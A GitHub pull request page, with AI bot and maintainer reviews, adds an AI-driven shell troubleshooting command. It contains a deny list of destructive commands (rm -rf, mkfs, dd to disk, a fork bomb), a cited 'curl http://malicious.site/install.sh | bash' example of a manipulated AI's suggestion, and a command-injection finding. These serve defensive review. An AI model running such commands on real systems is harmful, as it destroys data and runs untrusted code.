feat: add interactive troubleshooting assistant #584
Conversation
|
Note Other AI code review bot(s) detectedCodeRabbit has detected other AI code review bot(s) in this pull request and will avoid duplicating their findings in the review comments. This may lead to a less comprehensive review. 📝 WalkthroughWalkthroughAdds an interactive Troubleshooter CLI command and supporting modules: a Troubleshooter agent that interacts with an AI, extracts and safely executes shell commands, and a ResolutionManager for persisting learned fixes. Also updates AskHandler.ask signature to accept an optional system_prompt and adds tests and docs. Changes
Sequence Diagram(s)sequenceDiagram
actor User
participant CLI as CortexCLI
participant TS as Troubleshooter
participant AI as AI Provider
participant RM as ResolutionManager
participant Shell as System/Shell
User->>CLI: cortex troubleshoot
CLI->>TS: start()
TS->>RM: search(issue)
RM-->>TS: matching_resolutions
TS->>AI: send(system_prompt + history)
AI-->>TS: response (may include code blocks)
TS->>TS: extract_code_blocks()
TS->>TS: is_command_safe()
alt command safe
TS->>Shell: execute_command()
Shell-->>TS: stdout/stderr
TS->>AI: send(command results)
AI-->>TS: next steps
else command unsafe
TS-->>User: blocked (dangerous)
end
loop interactive session
User->>TS: input (continue/quit/doctor/help)
TS->>AI: send(user input + context)
AI-->>TS: response
end
alt user confirms solved
TS->>TS: synthesize_resolution()
TS->>RM: save(issue, fix)
RM-->>TS: persisted
end
TS-->>User: exit_code
Estimated code review effort🎯 4 (Complex) | ⏱️ ~45 minutes Possibly related PRs
Suggested reviewers
Poem
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing touches
📜 Recent review detailsConfiguration used: defaults Review profile: CHILL Plan: Pro 📒 Files selected for processing (1)
💤 Files with no reviewable changes (1)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (6)
✏️ Tip: You can disable this entire section by setting Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
Summary of ChangesHello @KrishnaShuk, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed! This pull request integrates an advanced AI-powered troubleshooting assistant into Cortex. The primary goal is to streamline the process of identifying and resolving system problems by allowing an AI to interactively guide users, suggest solutions, and safely execute commands, thereby enhancing user experience and system maintainability. Highlights
Using Gemini Code AssistThe full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips. Invoking Gemini You can request assistance from Gemini at any point by creating a comment using either
Customization To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a Limitations & Feedback Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for Github and other Google products, sign up here. You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension. Footnotes
|
![gemini-code-assist[bot]](https://avatars.githubusercontent.com/in/956858?s=60&v=4){kind=small}
There was a problem hiding this comment.
Code Review
This pull request introduces an interactive troubleshooting assistant, which is a great feature. The implementation is solid, leveraging rich for a good user experience and including important safety features like a dangerous command blacklist and user confirmation before execution.
My review focuses on enhancing security and improving code efficiency. I've identified a potential security gap in the command blacklist and suggest adding patterns to prevent command execution via pipes. I've also pointed out an opportunity to refactor the AI initialization logic for better performance and clarity, and noted an unused import.
Overall, this is a well-executed feature addition. Addressing these points will make it even more robust and secure.
| DANGEROUS_PATTERNS = [ | ||
| r"\brm\s+(-[^\s]*\s+)*-rf\b", # rm -rf | ||
| r"\brm\s+(-[^\s]*\s+)*-fr\b", # rm -fr (same as above) | ||
| r"\brm\s+(-[^\s]*\s+)*/\s*$", # rm / | ||
| r"\bmkfs\b", # Format filesystem | ||
| r"\bdd\s+.*of=/dev/", # dd to device | ||
| r">\s*/dev/sd[a-z]", # Redirect to disk | ||
| r"\bchmod\s+(-[^\s]*\s+)*777\s+/", # chmod 777 on root | ||
| r"\bchown\s+.*\s+/\s*$", # chown on root | ||
| r":\(\)\s*{\s*:\|:\s*&\s*}", # Fork bomb | ||
| r"\bshutdown\b", # Shutdown | ||
| r"\breboot\b", # Reboot | ||
| r"\binit\s+0\b", # Halt | ||
| r"\bpoweroff\b", # Poweroff | ||
| ] |
There was a problem hiding this comment.
The dangerous command blacklist is a great security measure. However, it's missing patterns to prevent a common and very dangerous attack vector: piping content from the internet directly into a shell. An AI could be manipulated to suggest a command like curl http://malicious.site/install.sh | bash, which would bypass the current checks and execute arbitrary code. I recommend adding patterns to block this.
| DANGEROUS_PATTERNS = [ | |
| r"\brm\s+(-[^\s]*\s+)*-rf\b", # rm -rf | |
| r"\brm\s+(-[^\s]*\s+)*-fr\b", # rm -fr (same as above) | |
| r"\brm\s+(-[^\s]*\s+)*/\s*$", # rm / | |
| r"\bmkfs\b", # Format filesystem | |
| r"\bdd\s+.*of=/dev/", # dd to device | |
| r">\s*/dev/sd[a-z]", # Redirect to disk | |
| r"\bchmod\s+(-[^\s]*\s+)*777\s+/", # chmod 777 on root | |
| r"\bchown\s+.*\s+/\s*$", # chown on root | |
| r":\(\)\s*{\s*:\|:\s*&\s*}", # Fork bomb | |
| r"\bshutdown\b", # Shutdown | |
| r"\breboot\b", # Reboot | |
| r"\binit\s+0\b", # Halt | |
| r"\bpoweroff\b", # Poweroff | |
| ] | |
| DANGEROUS_PATTERNS = [ | |
| r"\brm\s+(-[^\s]*\s+)*-rf\b", # rm -rf | |
| r"\brm\s+(-[^\s]*\s+)*-fr\b", # rm -fr (same as above) | |
| r"\brm\s+(-[^\s]*\s+)*/\s*$", # rm / | |
| r"\bmkfs\b", # Format filesystem | |
| r"\bdd\s+.*of=/dev/", # dd to device | |
| r">\s*/dev/sd[a-z]", # Redirect to disk | |
| r"\bchmod\s+(-[^\s]*\s+)*777\s+/", # chmod 777 on root | |
| r"\bchown\s+.*\s+/\s*$", # chown on root | |
| r":\(\)\s*{\s*:|:\s*&\s*}", # Fork bomb | |
| r"\bshutdown\b", # Shutdown | |
| r"\breboot\b", # Reboot | |
| r"\binit\s+0\b", # Halt | |
| r"\bpoweroff\b", # Poweroff | |
| r"\|\s*bash", # Pipe to bash | |
| r"\|\s*sh", # Pipe to sh | |
| ] |
| try: | ||
| self.api_key = self._get_api_key() | ||
| self.provider = self._get_provider() | ||
|
|
||
| # Validate key presence (Ollama uses dummy key, so it's fine) | ||
| if not self.api_key and self.provider != "ollama": | ||
| raise ValueError(f"No API key found for provider '{self.provider}'") | ||
|
|
||
| self.ai = AskHandler(self.api_key, self.provider) | ||
| except Exception as e: | ||
| self.logger.warning(f"Failed to initialize AI: {e}") | ||
| self.ai = None |
There was a problem hiding this comment.
The __init__ method calls _get_api_key() and _get_provider(), each of which calls auto_detect_api_key(). This results in a redundant call. You can refactor this to call auto_detect_api_key() only once and process its results directly within __init__. This improves efficiency and simplifies the code. After applying this change, the _get_api_key and _get_provider methods can be removed.
| try: | |
| self.api_key = self._get_api_key() | |
| self.provider = self._get_provider() | |
| # Validate key presence (Ollama uses dummy key, so it's fine) | |
| if not self.api_key and self.provider != "ollama": | |
| raise ValueError(f"No API key found for provider '{self.provider}'") | |
| self.ai = AskHandler(self.api_key, self.provider) | |
| except Exception as e: | |
| self.logger.warning(f"Failed to initialize AI: {e}") | |
| self.ai = None | |
| try: | |
| found, key, provider, _ = auto_detect_api_key() | |
| self.api_key = key or "" | |
| provider_name = provider or "openai" | |
| if provider_name == "anthropic": | |
| self.provider = "claude" | |
| else: | |
| self.provider = provider_name | |
| # Validate key presence (Ollama uses dummy key, so it's fine) | |
| if not self.api_key and self.provider != "ollama": | |
| raise ValueError(f"No API key found for provider '{self.provider}'") | |
| self.ai = AskHandler(self.api_key, self.provider) | |
| except Exception as e: | |
| self.logger.warning(f"Failed to initialize AI: {e}") | |
| self.ai = None |
KrishnaShuk
changed the title
Anshgrover23
left a comment
Anshgrover23
left a comment
There was a problem hiding this comment.
AI coding agent was used for framing better tests and creating the command file.
@KrishnaShuk But which one ?
Also, missing demonstrating video and documentation file.
|
This PR is still in the draft. I will complete the details soon. |
CLA Verification PassedAll contributors have signed the CLA.
|
|
PTAL @Anshgrover23! |
|
@coderabbitai review. |
|
@Anshgrover23: I'll review the PR now. Let me analyze the changes and provide feedback on the implementation of the interactive troubleshooting assistant. ✅ Actions performedReview triggered.
|
|
@Anshgrover23: I'll review the changes in this PR now. ✅ Actions performedReview triggered.
|
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 2
🤖 Fix all issues with AI agents
In @cortex/troubleshoot.py:
- Around line 207-214: The analysis call to self.ai.ask in Troubleshooter (the
block that sets analysis = self.ai.ask(...)) omits the troubleshooter's system
prompt, causing AskHandler to use its default persona; update that call to
include the same system prompt used by the troubleshooter (e.g., pass
system_prompt=self.system_prompt or the variable name used elsewhere in the
class) so the follow-up analysis uses the same persona/context as prior
messages.
🧹 Nitpick comments (7)
cortex/troubleshoot.py (4)
70-80: Unused helper methods_get_providerand_get_api_key.These methods duplicate logic already executed in
__init__and are never called anywhere. Consider removing them to reduce dead code.🔧 Remove unused methods
- def _get_provider(self) -> str: - """Determine which LLM provider to use.""" - found, _, provider, _ = auto_detect_api_key() - if provider == "anthropic": - return "claude" - return provider or "openai" - - def _get_api_key(self) -> str: - """Get the API key for the configured provider.""" - found, key, _, _ = auto_detect_api_key() - return key or ""
28-44: Consider expanding dangerous command patterns.The current blacklist is a good start but could be enhanced:
- Pattern on line 31 (
r"\brm\s+(-[^\s]*\s+)*/\s*$") requires the command to end with/butrm -rf / --no-preserve-rootwould bypass it since it doesn't end with/.- Consider adding patterns for
curl ... | bash,wget -O- ... | sh, andevalwith untrusted input.🔒 Suggested additional patterns
DANGEROUS_PATTERNS = [ r"\brm\s+(-[^\s]*\s+)*-rf\b", # rm -rf r"\brm\s+(-[^\s]*\s+)*-fr\b", # rm -fr (same as above) - r"\brm\s+(-[^\s]*\s+)*/\s*$", # rm / + r"\brm\s+(-[^\s]*\s+)*/", # rm / (anywhere in command) r"\bmkfs\b", # Format filesystem r"\bdd\s+.*of=/dev/", # dd to device r">\s*/dev/sd[a-z]", # Redirect to disk r"\bchmod\s+(-[^\s]*\s+)*777\s+/", # chmod 777 on root r"\bchown\s+.*\s+/\s*$", # chown on root r":\(\)\s*{\s*:\|:\s*&\s*}", # Fork bomb r"\bshutdown\b", # Shutdown r"\breboot\b", # Reboot r"\binit\s+0\b", # Halt r"\bpoweroff\b", # Poweroff r"\|\s*bash", # Pipe to bash r"\|\s*sh", # Pipe to sh + r"\beval\s+", # eval command + r"\bcurl\b.*\|\s*sudo", # curl piped to sudo + r"\bwget\b.*\|\s*sudo", # wget piped to sudo ]
13-13: Unused importOptional.The code uses Python 3.10+ union syntax (
str | None) throughout, making theOptionalimport unnecessary.♻️ Remove unused import
-from typing import Optional
47-68: Add class-level docstring forTroubleshooter.Per coding guidelines, public APIs should have docstrings. The class is missing documentation describing its purpose and usage.
📝 Add docstring
class Troubleshooter: + """Interactive AI-powered troubleshooting assistant. + + Provides a conversational interface for diagnosing and resolving + system issues. Suggests shell commands, executes them with user + confirmation, and analyzes output to guide next steps. + + Attributes: + logger: CortexLogger instance for logging operations. + messages: Conversation history for context. + ai: AskHandler instance for LLM interactions. + provider: The LLM provider being used. + api_key: API key for the provider. + """ def __init__(self):docs/COMMANDS.md (2)
157-177: Add language specifier to fenced code block.The flow diagram code block lacks a language specifier. While it's ASCII art, adding a specifier like
textor leaving it empty is fine, but markdown linters flag this.📝 Fix markdown lint warning
**Flow:** -``` +```text ┌─────────────────────────────────────────┐ │ User describes issue │
179-199: Add language specifier to example session code block end.The code block ending at line 199 lacks a language specifier for the closing context after the bash block.
Note: The nested bash block structure makes this tricky. Consider restructuring to avoid the lint warning or accept it as-is since the content is illustrative.
tests/test_troubleshoot.py (1)
324-341: Test for doctor command doesn't verify invocation.The comment on line 340-341 acknowledges that
SystemDoctoris imported inside the function, making it difficult to verify the call. Consider refactoring to enable proper verification.💡 Alternative approach to verify doctor invocation
@patch("cortex.troubleshoot.console") @patch("cortex.troubleshoot.Prompt") def test_doctor_command(self, mock_prompt, mock_console): """Test that 'doctor' command runs SystemDoctor.""" mock_prompt.ask.side_effect = ["doctor", "exit"] with patch("cortex.troubleshoot.auto_detect_api_key") as mock_detect: mock_detect.return_value = (True, "test-key", "fake", "env") with patch("cortex.ask.AskHandler"): # Patch at the point of import inside the function with patch.dict('sys.modules', {'cortex.doctor': MagicMock()}) as mock_doctor_module: mock_doctor_instance = MagicMock() mock_doctor_module.SystemDoctor.return_value = mock_doctor_instance troubleshooter = Troubleshooter() troubleshooter.messages = [{"role": "system", "content": "test"}] troubleshooter._interactive_loop() # Now we can verify mock_doctor_instance.run_checks.assert_called_once()
📜 Review details
Configuration used: defaults
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (5)
cortex/ask.pycortex/cli.pycortex/troubleshoot.pydocs/COMMANDS.mdtests/test_troubleshoot.py
🧰 Additional context used
📓 Path-based instructions (2)
**/*.py
📄 CodeRabbit inference engine (AGENTS.md)
**/*.py: Follow PEP 8 style guide for Python code
Include type hints in Python code
Add docstrings for all public APIs in Python code
Use dry-run mode by default for all installation operations
Do not use silent sudo - require explicit user confirmation for privilege escalation
Implement Firejail sandboxing for execution of untrusted code
Log all operations to ~/.cortex/history.db for audit purposes
Files:
cortex/troubleshoot.pycortex/ask.pytests/test_troubleshoot.pycortex/cli.py
tests/**/*.py
📄 CodeRabbit inference engine (AGENTS.md)
Maintain test coverage above 80% for pull requests
Files:
tests/test_troubleshoot.py
🧬 Code graph analysis (4)
cortex/troubleshoot.py (3)
cortex/api_key_detector.py (1)
auto_detect_api_key(657-665)cortex/ask.py (1)
AskHandler(137-354)cortex/cli.py (1)
doctor(2004-2009)
cortex/ask.py (2)
cortex/cli.py (1)
ask(604-633)cortex/llm/interpreter.py (1)
_get_system_prompt(109-143)
tests/test_troubleshoot.py (2)
cortex/cli.py (1)
troubleshoot(2011-2016)cortex/troubleshoot.py (6)
Troubleshooter(47-224)_extract_code_blocks(106-110)_is_command_safe(112-121)_execute_command(123-132)start(82-104)_interactive_loop(134-224)
cortex/cli.py (2)
cortex/doctor.py (2)
SystemDoctor(21-478)run_checks(48-103)cortex/troubleshoot.py (1)
Troubleshooter(47-224)
🪛 markdownlint-cli2 (0.18.1)
docs/COMMANDS.md
157-157: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
199-199: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
🔇 Additional comments (13)
cortex/ask.py (1)
288-310: LGTM! Clean backward-compatible API extension.The optional
system_promptparameter allows external callers (like the newTroubleshooter) to supply a custom prompt while preserving the original behavior when omitted. The conditional logic correctly skips context gathering when a prompt is provided.cortex/cli.py (3)
2004-2016: LGTM! Clean implementation following existing patterns.The new
doctor()andtroubleshoot()methods correctly use lazy imports for faster CLI startup and follow the established pattern of delegating to domain-specific classes.
2495-2499: LGTM! Subparser definitions are correct.The new subparsers for
doctorandtroubleshootare properly defined and will integrate with the existing CLI infrastructure.
2554-2557: LGTM! Command routing is correct.The new commands are properly routed to their respective CLI methods.
docs/COMMANDS.md (2)
14-15: LGTM! Quick reference table updated correctly.The new commands are properly documented in the quick reference.
140-217: Excellent documentation for the troubleshoot feature.The documentation is thorough with clear examples, flow diagrams, safety information, and special commands. This will help users understand and use the feature effectively.
tests/test_troubleshoot.py (7)
1-11: LGTM! Test file setup is correct.Proper imports and path setup for test discovery.
13-88: Excellent test coverage for_extract_code_blocks.Tests cover bash blocks, sh blocks, generic blocks, multiple blocks, no blocks, and multiline commands. This thoroughly validates the regex extraction logic.
90-163: Good coverage for_is_command_safeblacklist enforcement.Tests validate both safe commands (ls, df, systemctl) and dangerous commands (rm -rf, mkfs, dd, shutdown, reboot, chmod 777 /). Consider adding edge case tests for bypass attempts.
165-198: Good_execute_commandtests including timeout handling.Tests cover simple commands, stderr capture, and timeout exceptions. The mocking approach for timeout is correct.
371-397: Excellent integration test for command execution flow.This test validates the full happy path: user input → AI response with code block → user confirmation → command execution. Good use of
side_effectfor sequencing mock responses.
399-420: Critical safety test: dangerous commands are blocked.Good test verifying that
rm -rf /is blocked and_execute_commandis never called. This is essential for the security guarantee.
478-479: LGTM! Test file is well-structured.The test suite provides good coverage for the Troubleshooter component with proper isolation through mocking.
Anshgrover23
left a comment
Anshgrover23
left a comment
There was a problem hiding this comment.
@KrishnaShuk Issue requirement is incompleted:
- Learn from successful resolutions
- Escalation path to human support
Also, kindly address bot comments as well.
|
@Anshgrover23 I have completed all the requirements and the feature is working robustly. |
KrishnaShuk
force-pushed
the
feat/troubleshootCommand
branch
from
e8c01dc to
d55887c
Compare
|
There was a problem hiding this comment.
@KrishnaShuk Added some comments. Also, there is still some gemini bot comments left above.
| if not self.api_key and self.provider != "ollama": | ||
| raise ValueError(f"No API key found for provider '{self.provider}'") | ||
| self.ai = AskHandler(self.api_key, self.provider) |
There was a problem hiding this comment.
This exception is raised inside __init__ but then caught and logged, setting self.ai = None. However, if provider is "ollama" with an empty key, it will still try to create AskHandler which may fail unexpectedly. Fix this issue.
| import json | ||
| import re |
There was a problem hiding this comment.
Always move import at the top of the file.
| system_prompt="Create a concise summary of the issue with user's POV", | ||
| ) | ||
|
|
||
| log_file = "cortex_support_log.txt" |
There was a problem hiding this comment.
Hardcoded filename in current working directory. Should use a configurable path or write to ~/.cortex/ like ResolutionManager does.
|
|
||
| try: | ||
| result = subprocess.run( | ||
| exec_cmd, shell=True, capture_output=True, text=True, timeout=30 |
There was a problem hiding this comment.
What if long-running diagnostic commands (e.g., journalctl, large grep) may exceed this ?
| with console.status("[cyan]Thinking...[/cyan]"): | ||
| # Construct prompt with history | ||
| history_text = "\n".join( | ||
| [f"{m['role']}: {m['content']}" for m in self.messages[-5:]] |
There was a problem hiding this comment.
Do not use magic numbers, add them to constants.
| r"\|\s*bash", # Pipe to bash | ||
| r"\|\s*sh", # Pipe to sh |
There was a problem hiding this comment.
This blocks legitimate uses like cat file.sh | bash but allows curl ... | /bin/bash (full path). Pattern is incomplete.
|
|
||
| exec_cmd = cmd | ||
| if use_sandbox: | ||
| exec_cmd = f"firejail --quiet --private-tmp {cmd}" |
There was a problem hiding this comment.
Command injection risk. If cmd contains shell metacharacters, they're not escaped. Consider using shlex.quote(cmd) or passing as argument list instead of string interpolation.
| subparsers.add_parser("doctor", help="System health check") | ||
|
|
||
| # Troubleshoot command | ||
| subparsers.add_parser("troubleshoot", help="Interactive system troubleshooter") |
There was a problem hiding this comment.
No arguments/options added to these subparsers. Consider adding --verbose or --no-execute flags for troubleshoot.
| for res in resolutions: | ||
| if "issue" not in res or "fix" not in res: | ||
| continue |
There was a problem hiding this comment.
Silent skip of malformed entries. Should log a warning for debugging corrupted resolution files.
2 participants
Related Issue
Closes #59
Summary
Adds an interactive AI-powered troubleshooting assistant (cortex troubleshoot) that can diagnose system issues, suggest shell commands, and execute them on behalf of the user with explicit confirmation. Includes a comprehensive dangerous command blacklist to prevent accidental execution of destructive commands like rm -rf.
AI Disclosure
Demonstration
Screencast.from.2026-01-16.14-48-39.webm
cortex_support_log.txt: https://gist.github.com/KrishnaShuk/4d528dd82bf5dcdd022562457d8b23fb
resolutions.json[for learning purpose]: https://gist.github.com/KrishnaShuk/a41e040bbd9290454b7a15c1017faee9
Google antigravity ai coding assistant(Claude Opus 4.5 ) was used for framing better tests and creating the command file.
Checklist
type(scope): descriptionor[scope] descriptionpytest tests/)Summary by CodeRabbit
New Features
Documentation
Tests
✏️ Tip: You can customize this high-level summary in your review settings.